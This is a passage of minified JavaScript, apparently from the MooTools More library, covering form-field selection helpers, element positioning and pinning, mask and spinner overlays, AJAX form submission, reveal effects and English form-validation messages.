e.end=e.start+a.text.length;}else{var b=this.get("value");var d=b.length;c.moveToElementText(this);c.setEndPoint("StartToEnd",a);if(c.text.length){d-=b.match(/[\n\r]*$/)[0].length;
}e.end=d-c.text.length;c.setEndPoint("StartToStart",a);e.start=d-c.text.length;}return e;},getSelectionStart:function(){return this.getSelectedRange().start;
},getSelectionEnd:function(){return this.getSelectedRange().end;},setCaretPosition:function(a){if(a=="end"){a=this.get("value").length;}this.selectRange(a,a);
return this;},getCaretPosition:function(){return this.getSelectedRange().start;},selectRange:function(e,a){if(this.setSelectionRange){this.focus();this.setSelectionRange(e,a);
}else{var c=this.get("value");var d=c.substr(e,a-e).replace(/\r/g,"").length;e=c.substr(0,e).replace(/\r/g,"").length;var b=this.createTextRange();b.collapse(true);
b.moveEnd("character",e+d);b.moveStart("character",e);b.select();}return this;},insertAtCursor:function(b,a){var d=this.getSelectedRange();var c=this.get("value");
this.set("value",c.substring(0,d.start)+b+c.substring(d.end,c.length));if(a!==false){this.selectRange(d.start,d.start+b.length);}else{this.setCaretPosition(d.start+b.length);
}return this;},insertAroundCursor:function(b,a){b=Object.append({before:"",defaultMiddle:"",after:""},b);var c=this.getSelectedText()||b.defaultMiddle;
var g=this.getSelectedRange();var f=this.get("value");if(g.start==g.end){this.set("value",f.substring(0,g.start)+b.before+c+b.after+f.substring(g.end,f.length));
this.selectRange(g.start+b.before.length,g.end+b.before.length+c.length);}else{var d=f.substring(g.start,g.end);this.set("value",f.substring(0,g.start)+b.before+d+b.after+f.substring(g.end,f.length));
var e=g.start+b.before.length;if(a!==false){this.selectRange(e,e+d.length);}else{this.setCaretPosition(e+f.length);}}return this;}});Elements.from=function(e,d){if(d||d==null){e=e.stripScripts();
}var b,c=e.match(/^\s*<(t[dhr]|tbody|tfoot|thead)/i);if(c){b=new Element("table");var a=c[1].toLowerCase();if(["td","th","tr"].contains(a)){b=new Element("tbody").inject(b);
if(a!="tr"){b=new Element("tr").inject(b);}}}return(b||new Element("div")).set("html",e).getChildren();};(function(){var d={relay:false},c=["once","throttle","pause"],b=c.length;
while(b--){d[c[b]]=Events.lookupPseudo(c[b]);}DOMEvent.definePseudo=function(e,f){d[e]=f;return this;};var a=Element.prototype;[Element,Window,Document].invoke("implement",Events.Pseudos(d,a.addEvent,a.removeEvent));
})();(function(){var a="$moo:keys-pressed",b="$moo:keys-keyup";DOMEvent.definePseudo("keys",function(d,e,c){var g=c[0],f=[],h=this.retrieve(a,[]);f.append(d.value.replace("++",function(){f.push("+");
return"";}).split("+"));h.include(g.key);if(f.every(function(j){return h.contains(j);})){e.apply(this,c);}this.store(a,h);if(!this.retrieve(b)){var i=function(j){(function(){h=this.retrieve(a,[]).erase(j.key);
this.store(a,h);}).delay(0,this);};this.store(b,i).addEvent("keyup",i);}});DOMEvent.defineKeys({"16":"shift","17":"control","18":"alt","20":"capslock","33":"pageup","34":"pagedown","35":"end","36":"home","144":"numlock","145":"scrolllock","186":";","187":"=","188":",","190":".","191":"/","192":"`","219":"[","220":"\\","221":"]","222":"'","107":"+"}).defineKey(Browser.firefox?109:189,"-");
})();(function(){var b=function(e,d){var f=[];Object.each(d,function(g){Object.each(g,function(h){e.each(function(i){f.push(i+"-"+h+(i=="border"?"-width":""));
});});});return f;};var c=function(f,e){var d=0;Object.each(e,function(h,g){if(g.test(f)){d=d+h.toInt();}});return d;};var a=function(d){return !!(!d||d.offsetHeight||d.offsetWidth);
};Element.implement({measure:function(h){if(a(this)){return h.call(this);}var g=this.getParent(),e=[];while(!a(g)&&g!=document.body){e.push(g.expose());
g=g.getParent();}var f=this.expose(),d=h.call(this);f();e.each(function(i){i();});return d;},expose:function(){if(this.getStyle("display")!="none"){return function(){};
}var d=this.style.cssText;this.setStyles({display:"block",position:"absolute",visibility:"hidden"});return function(){this.style.cssText=d;}.bind(this);
},getDimensions:function(d){d=Object.merge({computeSize:false},d);var i={x:0,y:0};var h=function(j,e){return(e.computeSize)?j.getComputedSize(e):j.getSize();
};var f=this.getParent("body");if(f&&this.getStyle("display")=="none"){i=this.measure(function(){return h(this,d);});}else{if(f){try{i=h(this,d);}catch(g){}}}return Object.append(i,(i.x||i.x===0)?{width:i.x,height:i.y}:{x:i.width,y:i.height});
},getComputedSize:function(d){d=Object.merge({styles:["padding","border"],planes:{height:["top","bottom"],width:["left","right"]},mode:"both"},d);var g={},e={width:0,height:0},f;
if(d.mode=="vertical"){delete e.width;delete d.planes.width;}else{if(d.mode=="horizontal"){delete e.height;delete d.planes.height;}}b(d.styles,d.planes).each(function(h){g[h]=this.getStyle(h).toInt();
},this);Object.each(d.planes,function(i,h){var k=h.capitalize(),j=this.getStyle(h);if(j=="auto"&&!f){f=this.getDimensions();}j=g[h]=(j=="auto")?f[h]:j.toInt();
e["total"+k]=j;i.each(function(m){var l=c(m,g);e["computed"+m.capitalize()]=l;e["total"+k]+=l;});},this);return Object.append(e,g);}});})();(function(){var a=false,b=false;
var c=function(){var d=new Element("div").setStyles({position:"fixed",top:0,right:0}).inject(document.body);a=(d.offsetTop===0);d.dispose();b=true;};Element.implement({pin:function(h,f){if(!b){c();
}if(this.getStyle("display")=="none"){return this;}var j,k=window.getScroll(),l,e;if(h!==false){j=this.getPosition(a?document.body:this.getOffsetParent());
if(!this.retrieve("pin:_pinned")){var g={top:j.y-k.y,left:j.x-k.x};if(a&&!f){this.setStyle("position","fixed").setStyles(g);}else{l=this.getOffsetParent();
var i=this.getPosition(l),m=this.getStyles("left","top");if(l&&m.left=="auto"||m.top=="auto"){this.setPosition(i);}if(this.getStyle("position")=="static"){this.setStyle("position","absolute");
}i={x:m.left.toInt()-k.x,y:m.top.toInt()-k.y};e=function(){if(!this.retrieve("pin:_pinned")){return;}var n=window.getScroll();this.setStyles({left:i.x+n.x,top:i.y+n.y});
}.bind(this);this.store("pin:_scrollFixer",e);window.addEvent("scroll",e);}this.store("pin:_pinned",true);}}else{if(!this.retrieve("pin:_pinned")){return this;
}l=this.getParent();var d=(l.getComputedStyle("position")!="static"?l:l.getOffsetParent());j=this.getPosition(d);this.store("pin:_pinned",false);e=this.retrieve("pin:_scrollFixer");
if(!e){this.setStyles({position:"absolute",top:j.y+k.y,left:j.x+k.x});}else{this.store("pin:_scrollFixer",null);window.removeEvent("scroll",e);}this.removeClass("isPinned");
}return this;},unpin:function(){return this.pin(false);},togglePin:function(){return this.pin(!this.retrieve("pin:_pinned"));}});})();(function(b){var a=Element.Position={options:{relativeTo:document.body,position:{x:"center",y:"center"},offset:{x:0,y:0}},getOptions:function(d,c){c=Object.merge({},a.options,c);
a.setPositionOption(c);a.setEdgeOption(c);a.setOffsetOption(d,c);a.setDimensionsOption(d,c);return c;},setPositionOption:function(c){c.position=a.getCoordinateFromValue(c.position);
},setEdgeOption:function(d){var c=a.getCoordinateFromValue(d.edge);d.edge=c?c:(d.position.x=="center"&&d.position.y=="center")?{x:"center",y:"center"}:{x:"left",y:"top"};
},setOffsetOption:function(f,d){var c={x:0,y:0},g=f.measure(function(){return document.id(this.getOffsetParent());}),e=g.getScroll();if(!g||g==f.getDocument().body){return;
}c=g.measure(function(){var i=this.getPosition();if(this.getStyle("position")=="fixed"){var h=window.getScroll();i.x+=h.x;i.y+=h.y;}return i;});d.offset={parentPositioned:g!=document.id(d.relativeTo),x:d.offset.x-c.x+e.x,y:d.offset.y-c.y+e.y};
},setDimensionsOption:function(d,c){c.dimensions=d.getDimensions({computeSize:true,styles:["padding","border","margin"]});},getPosition:function(e,d){var c={};
d=a.getOptions(e,d);var f=document.id(d.relativeTo)||document.body;a.setPositionCoordinates(d,c,f);if(d.edge){a.toEdge(c,d);}var g=d.offset;c.left=((c.x>=0||g.parentPositioned||d.allowNegative)?c.x:0).toInt();
c.top=((c.y>=0||g.parentPositioned||d.allowNegative)?c.y:0).toInt();a.toMinMax(c,d);if(d.relFixedPosition||f.getStyle("position")=="fixed"){a.toRelFixedPosition(f,c);
}if(d.ignoreScroll){a.toIgnoreScroll(f,c);}if(d.ignoreMargins){a.toIgnoreMargins(c,d);}c.left=Math.ceil(c.left);c.top=Math.ceil(c.top);delete c.x;delete c.y;
return c;},setPositionCoordinates:function(k,g,d){var f=k.offset.y,h=k.offset.x,e=(d==document.body)?window.getScroll():d.getPosition(),j=e.y,c=e.x,i=window.getSize();
switch(k.position.x){case"left":g.x=c+h;break;case"right":g.x=c+h+d.offsetWidth;break;default:g.x=c+((d==document.body?i.x:d.offsetWidth)/2)+h;break;}switch(k.position.y){case"top":g.y=j+f;
break;case"bottom":g.y=j+f+d.offsetHeight;break;default:g.y=j+((d==document.body?i.y:d.offsetHeight)/2)+f;break;}},toMinMax:function(c,d){var f={left:"x",top:"y"},e;
["minimum","maximum"].each(function(g){["left","top"].each(function(h){e=d[g]?d[g][f[h]]:null;if(e!=null&&((g=="minimum")?c[h]<e:c[h]>e)){c[h]=e;}});});
},toRelFixedPosition:function(e,c){var d=window.getScroll();c.top+=d.y;c.left+=d.x;},toIgnoreScroll:function(e,d){var c=e.getScroll();d.top-=c.y;d.left-=c.x;
},toIgnoreMargins:function(c,d){c.left+=d.edge.x=="right"?d.dimensions["margin-right"]:(d.edge.x!="center"?-d.dimensions["margin-left"]:-d.dimensions["margin-left"]+((d.dimensions["margin-right"]+d.dimensions["margin-left"])/2));
c.top+=d.edge.y=="bottom"?d.dimensions["margin-bottom"]:(d.edge.y!="center"?-d.dimensions["margin-top"]:-d.dimensions["margin-top"]+((d.dimensions["margin-bottom"]+d.dimensions["margin-top"])/2));
},toEdge:function(c,d){var e={},g=d.dimensions,f=d.edge;switch(f.x){case"left":e.x=0;break;case"right":e.x=-g.x-g.computedRight-g.computedLeft;break;default:e.x=-(Math.round(g.totalWidth/2));
break;}switch(f.y){case"top":e.y=0;break;case"bottom":e.y=-g.y-g.computedTop-g.computedBottom;break;default:e.y=-(Math.round(g.totalHeight/2));break;}c.x+=e.x;
c.y+=e.y;},getCoordinateFromValue:function(c){if(typeOf(c)!="string"){return c;}c=c.toLowerCase();return{x:c.test("left")?"left":(c.test("right")?"right":"center"),y:c.test(/upper|top/)?"top":(c.test("bottom")?"bottom":"center")};
}};Element.implement({position:function(d){if(d&&(d.x!=null||d.y!=null)){return(b?b.apply(this,arguments):this);}var c=this.setStyle("position","absolute").calculatePosition(d);
return(d&&d.returnPos)?c:this.setStyles(c);},calculatePosition:function(c){return a.getPosition(this,c);}});})(Element.prototype.position);Element.implement({isDisplayed:function(){return this.getStyle("display")!="none";
},isVisible:function(){var a=this.offsetWidth,b=this.offsetHeight;return(a==0&&b==0)?false:(a>0&&b>0)?true:this.style.display!="none";},toggle:function(){return this[this.isDisplayed()?"hide":"show"]();
},hide:function(){var b;try{b=this.getStyle("display");}catch(a){}if(b=="none"){return this;}return this.store("element:_originalDisplay",b||"").setStyle("display","none");
},show:function(a){if(!a&&this.isDisplayed()){return this;}a=a||this.retrieve("element:_originalDisplay")||"block";return this.setStyle("display",(a=="none")?"block":a);
},swapClass:function(a,b){return this.removeClass(a).addClass(b);}});Document.implement({clearSelection:function(){if(window.getSelection){var a=window.getSelection();
if(a&&a.removeAllRanges){a.removeAllRanges();}}else{if(document.selection&&document.selection.empty){try{document.selection.empty();}catch(b){}}}}});var IframeShim=new Class({Implements:[Options,Events,Class.Occlude],options:{className:"iframeShim",src:'javascript:false;document.write("");',display:false,zIndex:null,margin:0,offset:{x:0,y:0},browsers:(Browser.ie6||(Browser.firefox&&Browser.version<3&&Browser.Platform.mac))},property:"IframeShim",initialize:function(b,a){this.element=document.id(b);
if(this.occlude()){return this.occluded;}this.setOptions(a);this.makeShim();return this;},makeShim:function(){if(this.options.browsers){var c=this.element.getStyle("zIndex").toInt();
if(!c){c=1;var b=this.element.getStyle("position");if(b=="static"||!b){this.element.setStyle("position","relative");}this.element.setStyle("zIndex",c);
}c=((this.options.zIndex!=null||this.options.zIndex===0)&&c>this.options.zIndex)?this.options.zIndex:c-1;if(c<0){c=1;}this.shim=new Element("iframe",{src:this.options.src,scrolling:"no",frameborder:0,styles:{zIndex:c,position:"absolute",border:"none",filter:"progid:DXImageTransform.Microsoft.Alpha(style=0,opacity=0)"},"class":this.options.className}).store("IframeShim",this);
var a=(function(){this.shim.inject(this.element,"after");this[this.options.display?"show":"hide"]();this.fireEvent("inject");}).bind(this);if(!IframeShim.ready){window.addEvent("load",a);
}else{a();}}else{this.position=this.hide=this.show=this.dispose=Function.from(this);}},position:function(){if(!IframeShim.ready||!this.shim){return this;
}var a=this.element.measure(function(){return this.getSize();});if(this.options.margin!=undefined){a.x=a.x-(this.options.margin*2);a.y=a.y-(this.options.margin*2);
this.options.offset.x+=this.options.margin;this.options.offset.y+=this.options.margin;}this.shim.set({width:a.x,height:a.y}).position({relativeTo:this.element,offset:this.options.offset});
return this;},hide:function(){if(this.shim){this.shim.setStyle("display","none");}return this;},show:function(){if(this.shim){this.shim.setStyle("display","block");
}return this.position();},dispose:function(){if(this.shim){this.shim.dispose();}return this;},destroy:function(){if(this.shim){this.shim.destroy();}return this;
}});window.addEvent("load",function(){IframeShim.ready=true;});var Mask=new Class({Implements:[Options,Events],Binds:["position"],options:{style:{},"class":"mask",maskMargins:false,useIframeShim:true,iframeShimOptions:{}},initialize:function(b,a){this.target=document.id(b)||document.id(document.body);
this.target.store("mask",this);this.setOptions(a);this.render();this.inject();},render:function(){this.element=new Element("div",{"class":this.options["class"],id:this.options.id||"mask-"+String.uniqueID(),styles:Object.merge({},this.options.style,{display:"none"}),events:{click:function(a){this.fireEvent("click",a);
if(this.options.hideOnClick){this.hide();}}.bind(this)}});this.hidden=true;},toElement:function(){return this.element;},inject:function(b,a){a=a||(this.options.inject?this.options.inject.where:"")||this.target==document.body?"inside":"after";
b=b||(this.options.inject&&this.options.inject.target)||this.target;this.element.inject(b,a);if(this.options.useIframeShim){this.shim=new IframeShim(this.element,this.options.iframeShimOptions);
this.addEvents({show:this.shim.show.bind(this.shim),hide:this.shim.hide.bind(this.shim),destroy:this.shim.destroy.bind(this.shim)});}},position:function(){this.resize(this.options.width,this.options.height);
this.element.position({relativeTo:this.target,position:"topLeft",ignoreMargins:!this.options.maskMargins,ignoreScroll:this.target==document.body});return this;
},resize:function(a,e){var b={styles:["padding","border"]};if(this.options.maskMargins){b.styles.push("margin");}var d=this.target.getComputedSize(b);if(this.target==document.body){this.element.setStyles({width:0,height:0});
var c=window.getScrollSize();if(d.totalHeight<c.y){d.totalHeight=c.y;}if(d.totalWidth<c.x){d.totalWidth=c.x;}}this.element.setStyles({width:Array.pick([a,d.totalWidth,d.x]),height:Array.pick([e,d.totalHeight,d.y])});
return this;},show:function(){if(!this.hidden){return this;}window.addEvent("resize",this.position);this.position();this.showMask.apply(this,arguments);
return this;},showMask:function(){this.element.setStyle("display","block");this.hidden=false;this.fireEvent("show");},hide:function(){if(this.hidden){return this;
}window.removeEvent("resize",this.position);this.hideMask.apply(this,arguments);if(this.options.destroyOnHide){return this.destroy();}return this;},hideMask:function(){this.element.setStyle("display","none");
this.hidden=true;this.fireEvent("hide");},toggle:function(){this[this.hidden?"show":"hide"]();},destroy:function(){this.hide();this.element.destroy();this.fireEvent("destroy");
this.target.eliminate("mask");}});Element.Properties.mask={set:function(b){var a=this.retrieve("mask");if(a){a.destroy();}return this.eliminate("mask").store("mask:options",b);
},get:function(){var a=this.retrieve("mask");if(!a){a=new Mask(this,this.retrieve("mask:options"));this.store("mask",a);}return a;}};Element.implement({mask:function(a){if(a){this.set("mask",a);
}this.get("mask").show();return this;},unmask:function(){this.get("mask").hide();return this;}});var Spinner=new Class({Extends:Mask,Implements:Chain,options:{"class":"spinner",containerPosition:{},content:{"class":"spinner-content"},messageContainer:{"class":"spinner-msg"},img:{"class":"spinner-img"},fxOptions:{link:"chain"}},initialize:function(c,a){this.target=document.id(c)||document.id(document.body);
this.target.store("spinner",this);this.setOptions(a);this.render();this.inject();var b=function(){this.active=false;}.bind(this);this.addEvents({hide:b,show:b});
},render:function(){this.parent();this.element.set("id",this.options.id||"spinner-"+String.uniqueID());this.content=document.id(this.options.content)||new Element("div",this.options.content);
this.content.inject(this.element);if(this.options.message){this.msg=document.id(this.options.message)||new Element("p",this.options.messageContainer).appendText(this.options.message);
this.msg.inject(this.content);}if(this.options.img){this.img=document.id(this.options.img)||new Element("div",this.options.img);this.img.inject(this.content);
}this.element.set("tween",this.options.fxOptions);},show:function(a){if(this.active){return this.chain(this.show.bind(this));}if(!this.hidden){this.callChain.delay(20,this);
return this;}this.active=true;return this.parent(a);},showMask:function(a){var b=function(){this.content.position(Object.merge({relativeTo:this.element},this.options.containerPosition));
}.bind(this);if(a){this.parent();b();}else{if(!this.options.style.opacity){this.options.style.opacity=this.element.getStyle("opacity").toFloat();}this.element.setStyles({display:"block",opacity:0}).tween("opacity",this.options.style.opacity);
b();this.hidden=false;this.fireEvent("show");this.callChain();}},hide:function(a){if(this.active){return this.chain(this.hide.bind(this));}if(this.hidden){this.callChain.delay(20,this);
return this;}this.active=true;return this.parent(a);},hideMask:function(a){if(a){return this.parent();}this.element.tween("opacity",0).get("tween").chain(function(){this.element.setStyle("display","none");
this.hidden=true;this.fireEvent("hide");this.callChain();}.bind(this));},destroy:function(){this.content.destroy();this.parent();this.target.eliminate("spinner");
}});Request=Class.refactor(Request,{options:{useSpinner:false,spinnerOptions:{},spinnerTarget:false},initialize:function(a){this._send=this.send;this.send=function(b){var c=this.getSpinner();
if(c){c.chain(this._send.pass(b,this)).show();}else{this._send(b);}return this;};this.previous(a);},getSpinner:function(){if(!this.spinner){var b=document.id(this.options.spinnerTarget)||document.id(this.options.update);
if(this.options.useSpinner&&b){b.set("spinner",this.options.spinnerOptions);var a=this.spinner=b.get("spinner");["complete","exception","cancel"].each(function(c){this.addEvent(c,a.hide.bind(a));
},this);}}return this.spinner;}});Element.Properties.spinner={set:function(a){var b=this.retrieve("spinner");if(b){b.destroy();}return this.eliminate("spinner").store("spinner:options",a);
},get:function(){var a=this.retrieve("spinner");if(!a){a=new Spinner(this,this.retrieve("spinner:options"));this.store("spinner",a);}return a;}};Element.implement({spin:function(a){if(a){this.set("spinner",a);
}this.get("spinner").show();return this;},unspin:function(){this.get("spinner").hide();return this;}});if(!window.Form){window.Form={};}(function(){Form.Request=new Class({Binds:["onSubmit","onFormValidate"],Implements:[Options,Events,Class.Occlude],options:{requestOptions:{evalScripts:true,useSpinner:true,emulation:false,link:"ignore"},sendButtonClicked:true,extraData:{},resetForm:true},property:"form.request",initialize:function(b,c,a){this.element=document.id(b);
if(this.occlude()){return this.occluded;}this.setOptions(a).setTarget(c).attach();},setTarget:function(a){this.target=document.id(a);if(!this.request){this.makeRequest();
}else{this.request.setOptions({update:this.target});}return this;},toElement:function(){return this.element;},makeRequest:function(){var a=this;this.request=new Request.HTML(Object.merge({update:this.target,emulation:false,spinnerTarget:this.element,method:this.element.get("method")||"post"},this.options.requestOptions)).addEvents({success:function(c,e,d,b){["complete","success"].each(function(f){a.fireEvent(f,[a.target,c,e,d,b]);
});},failure:function(){a.fireEvent("complete",arguments).fireEvent("failure",arguments);},exception:function(){a.fireEvent("failure",arguments);}});return this.attachReset();
},attachReset:function(){if(!this.options.resetForm){return this;}this.request.addEvent("success",function(){Function.attempt(function(){this.element.reset();
}.bind(this));if(window.OverText){OverText.update();}}.bind(this));return this;},attach:function(a){var c=(a!=false)?"addEvent":"removeEvent";this.element[c]("click:relay(button, input[type=submit])",this.saveClickedButton.bind(this));
var b=this.element.retrieve("validator");if(b){b[c]("onFormValidate",this.onFormValidate);}else{this.element[c]("submit",this.onSubmit);}return this;},detach:function(){return this.attach(false);
},enable:function(){return this.attach();},disable:function(){return this.detach();},onFormValidate:function(c,b,a){if(!a){return;}var d=this.element.retrieve("validator");
if(c||(d&&!d.options.stopOnFailure)){a.stop();this.send();}},onSubmit:function(a){var b=this.element.retrieve("validator");if(b){this.element.removeEvent("submit",this.onSubmit);
b.addEvent("onFormValidate",this.onFormValidate);this.element.validate();return;}if(a){a.stop();}this.send();},saveClickedButton:function(b,c){var a=c.get("name");
if(!a||!this.options.sendButtonClicked){return;}this.options.extraData[a]=c.get("value")||true;this.clickedCleaner=function(){delete this.options.extraData[a];
this.clickedCleaner=function(){};}.bind(this);},clickedCleaner:function(){},send:function(){var b=this.element.toQueryString().trim(),a=Object.toQueryString(this.options.extraData);
if(b){b+="&"+a;}else{b=a;}this.fireEvent("send",[this.element,b.parseQueryString()]);this.request.send({data:b,url:this.options.requestOptions.url||this.element.get("action")});
this.clickedCleaner();return this;}});Element.implement("formUpdate",function(c,b){var a=this.retrieve("form.request");if(!a){a=new Form.Request(this,c,b);
}else{if(c){a.setTarget(c);}if(b){a.setOptions(b).makeRequest();}}a.send();return this;});})();(function(){var a=function(d){var b=d.options.hideInputs;
if(window.OverText){var c=[null];OverText.each(function(e){c.include("."+e.options.labelClass);});if(c){b+=c.join(", ");}}return(b)?d.element.getElements(b):null;
};Fx.Reveal=new Class({Extends:Fx.Morph,options:{link:"cancel",styles:["padding","border","margin"],transitionOpacity:!Browser.ie6,mode:"vertical",display:function(){return this.element.get("tag")!="tr"?"block":"table-row";
},opacity:1,hideInputs:Browser.ie?"select, input, textarea, object, embed":null},dissolve:function(){if(!this.hiding&&!this.showing){if(this.element.getStyle("display")!="none"){this.hiding=true;
this.showing=false;this.hidden=true;this.cssText=this.element.style.cssText;var d=this.element.getComputedSize({styles:this.options.styles,mode:this.options.mode});
if(this.options.transitionOpacity){d.opacity=this.options.opacity;}var c={};Object.each(d,function(f,e){c[e]=[f,0];});this.element.setStyles({display:Function.from(this.options.display).call(this),overflow:"hidden"});
var b=a(this);if(b){b.setStyle("visibility","hidden");}this.$chain.unshift(function(){if(this.hidden){this.hiding=false;this.element.style.cssText=this.cssText;
this.element.setStyle("display","none");if(b){b.setStyle("visibility","visible");}}this.fireEvent("hide",this.element);this.callChain();}.bind(this));this.start(c);
}else{this.callChain.delay(10,this);this.fireEvent("complete",this.element);this.fireEvent("hide",this.element);}}else{if(this.options.link=="chain"){this.chain(this.dissolve.bind(this));
}else{if(this.options.link=="cancel"&&!this.hiding){this.cancel();this.dissolve();}}}return this;},reveal:function(){if(!this.showing&&!this.hiding){if(this.element.getStyle("display")=="none"){this.hiding=false;
this.showing=true;this.hidden=false;this.cssText=this.element.style.cssText;var d;this.element.measure(function(){d=this.element.getComputedSize({styles:this.options.styles,mode:this.options.mode});
}.bind(this));if(this.options.heightOverride!=null){d.height=this.options.heightOverride.toInt();}if(this.options.widthOverride!=null){d.width=this.options.widthOverride.toInt();
}if(this.options.transitionOpacity){this.element.setStyle("opacity",0);d.opacity=this.options.opacity;}var c={height:0,display:Function.from(this.options.display).call(this)};
Object.each(d,function(f,e){c[e]=0;});c.overflow="hidden";this.element.setStyles(c);var b=a(this);if(b){b.setStyle("visibility","hidden");}this.$chain.unshift(function(){this.element.style.cssText=this.cssText;
this.element.setStyle("display",Function.from(this.options.display).call(this));if(!this.hidden){this.showing=false;}if(b){b.setStyle("visibility","visible");
}this.callChain();this.fireEvent("show",this.element);}.bind(this));this.start(d);}else{this.callChain();this.fireEvent("complete",this.element);this.fireEvent("show",this.element);
}}else{if(this.options.link=="chain"){this.chain(this.reveal.bind(this));}else{if(this.options.link=="cancel"&&!this.showing){this.cancel();this.reveal();
}}}return this;},toggle:function(){if(this.element.getStyle("display")=="none"){this.reveal();}else{this.dissolve();}return this;},cancel:function(){this.parent.apply(this,arguments);
if(this.cssText!=null){this.element.style.cssText=this.cssText;}this.hiding=false;this.showing=false;return this;}});Element.Properties.reveal={set:function(b){this.get("reveal").cancel().setOptions(b);
return this;},get:function(){var b=this.retrieve("reveal");if(!b){b=new Fx.Reveal(this);this.store("reveal",b);}return b;}};Element.Properties.dissolve=Element.Properties.reveal;
Element.implement({reveal:function(b){this.get("reveal").setOptions(b).reveal();return this;},dissolve:function(b){this.get("reveal").setOptions(b).dissolve();
return this;},nix:function(b){var c=Array.link(arguments,{destroy:Type.isBoolean,options:Type.isObject});this.get("reveal").setOptions(b).dissolve().chain(function(){this[c.destroy?"destroy":"dispose"]();
}.bind(this));return this;},wink:function(){var c=Array.link(arguments,{duration:Type.isNumber,options:Type.isObject});var b=this.get("reveal").setOptions(c.options);
b.reveal().chain(function(){(function(){b.dissolve();}).delay(c.duration||2000);});}});})();Form.Request.Append=new Class({Extends:Form.Request,options:{useReveal:true,revealOptions:{},inject:"bottom"},makeRequest:function(){this.request=new Request.HTML(Object.merge({url:this.element.get("action"),method:this.element.get("method")||"post",spinnerTarget:this.element},this.options.requestOptions,{evalScripts:false})).addEvents({success:function(b,g,f,a){var c;
var d=Elements.from(f);if(d.length==1){c=d[0];}else{c=new Element("div",{styles:{display:"none"}}).adopt(d);}c.inject(this.target,this.options.inject);
if(this.options.requestOptions.evalScripts){Browser.exec(a);}this.fireEvent("beforeEffect",c);var e=function(){this.fireEvent("success",[c,this.target,b,g,f,a]);
}.bind(this);if(this.options.useReveal){c.set("reveal",this.options.revealOptions).get("reveal").chain(e);c.reveal();}else{e();}}.bind(this),failure:function(a){this.fireEvent("failure",a);
}.bind(this)});this.attachReset();}});Locale.define("en-US","FormValidator",{required:"This field is required.",length:"Please enter {length} characters (you entered {elLength} characters)",minLength:"Please enter at least {minLength} characters (you entered {length} characters).",maxLength:"Please enter no more than {maxLength} characters (you entered {length} characters).",integer:"Please enter an integer in this field. Numbers with decimals (e.g. 1.25) are not permitted.",numeric:'Please enter only numeric values in this field (i.e. "1" or "1.1" or "-1" or "-1.1").',digits:"Please use numbers and punctuation only in this field (for example, a phone number with dashes or dots is permitted).",alpha:"Please use only letters (a-z) within this field. No spaces or other characters are allowed.",alphanum:"Please use only letters (a-z) or numbers (0-9) in this field. No spaces or other characters are allowed.",dateSuchAs:"Please enter a valid date such as {date}",dateInFormatMDY:'Please enter a valid date such as MM/DD/YYYY (i.e. "12/31/1999")',email:'Please enter a valid email address. For example "fred@domain.com".',url:"Please enter a valid URL such as http://www.example.com.",currencyDollar:"Please enter a valid $ amount. For example $100.00 .",oneRequired:"Please enter something for at least one of these inputs.",errorPrefix:"Error: ",warningPrefix:"Warning: ",noSpace:"There can be no spaces in this input.",reqChkByNode:"No items are selected.",requiredChk:"This field is required.",reqChkByName:"Please select a {label}.",match:"This field needs to match the {matchName} field",startDate:"the start date",endDate:"the end date",currendDate:"the current date",afterDate:"The date should be the same or after {label}.",beforeDate:"The date should be the same or before {label}.",startMonth:"Please select a start month",sameMonth:"These two dates must be in the same month - you must change one or the other.",creditcard:"The credit card number entered is invalid. Please check the number and try again. {length} digits entered."});
if(!window.Form){window.Form={};}var InputValidator=this.InputValidator=new Class({Implements:[Options],options:{errorMsg:"Validation failed.",test:Function.from(true)},initialize:function(b,a){this.setOptions(a);
this.className=b;},test:function(b,a){b=document.id(b);return(b)?this.options.test(b,a||this.getProps(b)):false;},getError:function(c,a){c=document.id(c);
var b=this.options.errorMsg;if(typeOf(b)=="function"){b=b(c,a||this.getProps(c));}return b;},getProps:function(a){a=document.id(a);return(a)?a.get("validatorProps"):{};
}});Element.Properties.validators={get:function(){return(this.get("data-validators")||this.className).clean().split(" ");}};Element.Properties.validatorProps={set:function(a){return this.eliminate("$moo:validatorProps").store("$moo:validatorProps",a);
},get:function(a){if(a){this.set(a);}if(this.retrieve("$moo:validatorProps")){return this.retrieve("$moo:validatorProps");}if(this.getProperty("data-validator-properties")||this.getProperty("validatorProps")){try{this.store("$moo:validatorProps",JSON.decode(this.getProperty("validatorProps")||this.getProperty("data-validator-properties")));
}catch(c){return{};}}else{var b=this.get("validators").filter(function(d){return d.test(":");});if(!b.length){this.store("$moo:validatorProps",{});}else{a={};
b.each(function(d){var f=d.split(":");if(f[1]){try{a[f[0]]=JSON.decode(f[1]);}catch(g){}}});this.store("$moo:validatorProps",a);}}return this.retrieve("$moo:validatorProps");
}};Form.Validator=new Class({Implements:[Options,Events],Binds:["onSubmit"],options:{fieldSelectors:"input, select, textarea",ignoreHidden:true,ignoreDisabled:true,useTitles:false,evaluateOnSubmit:true,evaluateFieldsOnBlur:true,evaluateFieldsOnChange:true,serial:true,stopOnFailure:true,warningPrefix:function(){return Form.Validator.getMsg("warningPrefix")||"Warning: ";
},errorPrefix:function(){return Form.Validator.getMsg("errorPrefix")||"Error: ";}},initialize:function(b,a){this.setOptions(a);this.element=document.id(b);
this.element.store("validator",this);this.warningPrefix=Function.from(this.options.warningPrefix)();this.errorPrefix=Function.from(this.options.errorPrefix)();
if(this.options.evaluateOnSubmit){this.element.addEvent("submit",this.onSubmit);}if(this.options.evaluateFieldsOnBlur||this.options.evaluateFieldsOnChange){this.watchFields(this.getFields());
}},toElement:function(){return this.element;},getFields:function(){return(this.fields=this.element.getElements(this.options.fieldSelectors));},watchFields:function(a){a.each(function(b){if(this.options.evaluateFieldsOnBlur){b.addEvent("blur",this.validationMonitor.pass([b,false],this));
}if(this.options.evaluateFieldsOnChange){b.addEvent("change",this.validationMonitor.pass([b,true],this));}},this);},validationMonitor:function(){clearTimeout(this.timer);
this.timer=this.validateField.delay(50,this,arguments);},onSubmit:function(a){if(this.validate(a)){this.reset();}},reset:function(){this.getFields().each(this.resetField,this);
return this;},validate:function(b){var a=this.getFields().map(function(c){return this.validateField(c,true);},this).every(function(c){return c;});this.fireEvent("formValidate",[a,this.element,b]);
if(this.options.stopOnFailure&&!a&&b){b.preventDefault();}return a;},validateField:function(j,b){if(this.paused){return true;}j=document.id(j);var f=!j.hasClass("validation-failed");
var g,i;if(this.options.serial&&!b){g=this.element.getElement(".validation-failed");i=this.element.getElement(".warning");}if(j&&(!g||b||j.hasClass("validation-failed")||(g&&!this.options.serial))){var a=j.get("validators");
